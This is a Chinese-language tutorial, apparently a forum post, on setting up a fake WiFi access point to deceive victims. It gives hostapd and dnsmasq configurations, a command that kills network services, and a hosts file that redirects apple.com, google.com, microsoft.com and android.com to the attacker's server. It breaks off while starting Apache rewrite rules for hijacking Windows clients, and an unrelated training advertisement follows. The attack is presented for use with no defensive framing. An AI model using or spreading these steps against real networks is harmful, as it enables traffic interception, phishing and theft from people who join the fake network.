简介
假设你可以搭建一个假的无线 WiFi 接入点，并相应地进行 Apache 配置以愚弄受害者，这就是我们接下来要做的事。
在这个案例中，我们使用的是一个 Alfa 无线网卡和一个以太网连接（在虚拟机下进行），用于可选的 Internet 访问。你还可以使用虚拟接口完美地运行此攻击，无需任何麻烦。确保您正确地使用接口名称。
使用到的工具：
· hostapd (or airbase-ng)
· dnsmasq (or isc-dhcp-server)
· apache2
· nano or vi Text Editor
· grep
· Secret Sauce
针对上面的所有选择，我选择前者 — 搭建一个简易的攻击场景。你也可以选择后者，这主要是根据你工具的使用情况
搭建一个 AP
介绍
Hostapd
用来创建一个特定类型的接入点，它是开放的，主要用在 WPA2 加密机制的个人、企业网络攻击。
把所有的东西都放在你的工具里，以便以后使用。
Dnsmasq
适用于配置 DNS 和 DHCP 的工具。它可以用于解决设备对 DNS 请求接收和应答，它也可以用作 DHCP 服务器给用户分配 IP 地址。
Apache
基本上，它对于用户就是一个 web 服务器。但是你可以使用这个功能强大的工具 Apache 来拓展你的 web 服务器并创建一个虚假 WiFi 接入点。
虽然在渗透进程中没有必要用到 apache 和 mysql 。 hostapd 和 dnsmasq 是在你搭建虚假 AP 必不可少的两个工具。虽然现在可能会有更先进的技术，根据你攻击的具体案例也可能会用到不同工具。但更先进的技术一般都会用到 apache 的灵活性和特点。
例子：
假如你要强迫受害设备连接到你的 AP ，只是进行简单的嗅探和劫持，那你就没必要用到 apache
但是万一你想向 web 响应基于用户发送的请求，你可以利用 apache 通过多种方法获取到大量的敏感信息。有点迷糊？别担心！ 点这里 ，会让你更加深入了解每个相关信息。
我会教你在不同的攻击情景下使用 apache, mySQL, 在不同角色下渗透不同连接到虚假 AP 的用户设备像 android, iPhone, Macs
但这个以后再说。先让我们继续学习和配置基础的工具例如 hostapd , dnsmasq
注意：所有的指令都是在 root 用户下执行。可以使用 sudo 指令来登入主账户
安装：
确保系统中安装的是最新版本的工具：
1
2
apt update
apt install hostapd dnsmasq apache2
现在创建一个路径，以后就可以把所有的配置文件都放在这里。
1
2
cd ~/Desktop
mkdir fakeap/
配置 hostapd
创建一个路径来保存配置文件。打开指令窗口，创建一个 hostapd 配置文件。
nano hostapd.conf
1
2
3
4
5
6
7
8
interface=<Your Fake AP interface>
driver=nl80211
ssid=<Desired AP Name>
hw_mode=g
channel=<Target AP Channel number>
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
点击保存，退出文件。根据每次你执行渗透，要记录你的更改
操作频道如果没有选好也会引起问题的。
配置 dnsmasq
nano dnsmasq.conf
1
2
3
4
5
6
7
8
interface=<Fake AP Interface name> # wlan0 with hostapd, at0 with airbase-ng
dhcp-range=10.0.0.10,10.0.0.250,255.255.255.0,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
确保在 dnsmasq.conf 文件中定义正确的端口。
Parameter Breakdown:
1
2
3
dhcp-range=10.0.0.10,10.0.0.250,12h: Client IP address will range from 10.0.0.10 to 10.0.0.250, Network subnet mask is 255.255.255.0 And default lease time is 12 hours.
dhcp-option=3,10.0.0.1: 3 is code for Default Gateway followed by IP of D.G i.e. 10.0.0.1
dhcp-option=6,10.0.0.1: 6 for DNS Server followed by IP address
这就是所有的配置。很简单，不是吗？
现在让我们运行服务器和我们的虚假 AP
第一步：启动虚假接入点
首先，关闭一些已经在运行并可能会干扰我们进程的工具。
killall network-manager dnsmasq wpa_supplicant dhcpd
启动 hostapd 并导入你的配置文件
Syntax : hostapd /path/to/configuration/file.conf
1
2
cd ~/Desktop/fakeap/
hostapd hostapd.conf
现在你已经启动 hostapd 并且在运行了，我们需要启动 DHCP 服务器来给接入用户分配 IP 地址
第二步 : 启动 DHCP 服务
运行 dnsmasq ，在调试模式下加载配置文件
Syntax : dnsmasq -C /path/to/configuration/file.conf -d
dnsmasq -C dnsmasq.conf -d
可选配置
你可以给 dnsmasq 创建一个可选的配置文件如 fakehosts.conf ，这样它就可以将你指定的 IP 地址劫持导向目标网站。它会简单地告诉用户设备他们点击的网站的服务器就是在我们的指向的 IP 地址
vi fakehosts.conf
1
2
3
4
5
10.0.0.1 apple.com
10.0.0.1 google.com
10.0.0.1 android.clients.google.com
10.0.0.1 microsoft.com
10.0.0.1 android.com
就是这样。只要通过 -H 指令将文件链接到 dnsmasq 。然后只要你想攻击的客户设备访问这些网站的流量都会导向我们指定的网站或是一个特殊的用户。
dnsmasq -C dnsmasq.conf -H fakehosts.conf -d
第三步：配置 apache2 web 服务器
Apache 的 Rewrite Engine 允许我们在进程中可以操作 web 请求。使用这个技术，我们可以劫持大量的客户设备。不管它是安卓、 IOS 设备，还是一个 windows 系统，或是一个 Mac 。你也可以设定 apache web 服务器只攻击某一类型的目标，或者你甚至可以只攻击某一版本的操作系统。很醋！不是吗？
也就是说对不同版本的 iOS 9.x 用户 和 iOS 10 用户设定不同的攻击路径，它也可以实现！
在这里，我们目标是 Windows 设备，因为它有最多的安装量。所以，相当多的黑客都会 window 设备作为攻击目标。
编辑 apache 的默认配置文件来配置 rewrite 功能。这将会劫持几乎所有的 URL 包括子目录到我们虚假 AP 指定的页面
nano /etc/apache2/sites-enabled/000-default
记录下我们添加的路径： /Fixit as an exception. 有区分大小写
1
2
3
[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
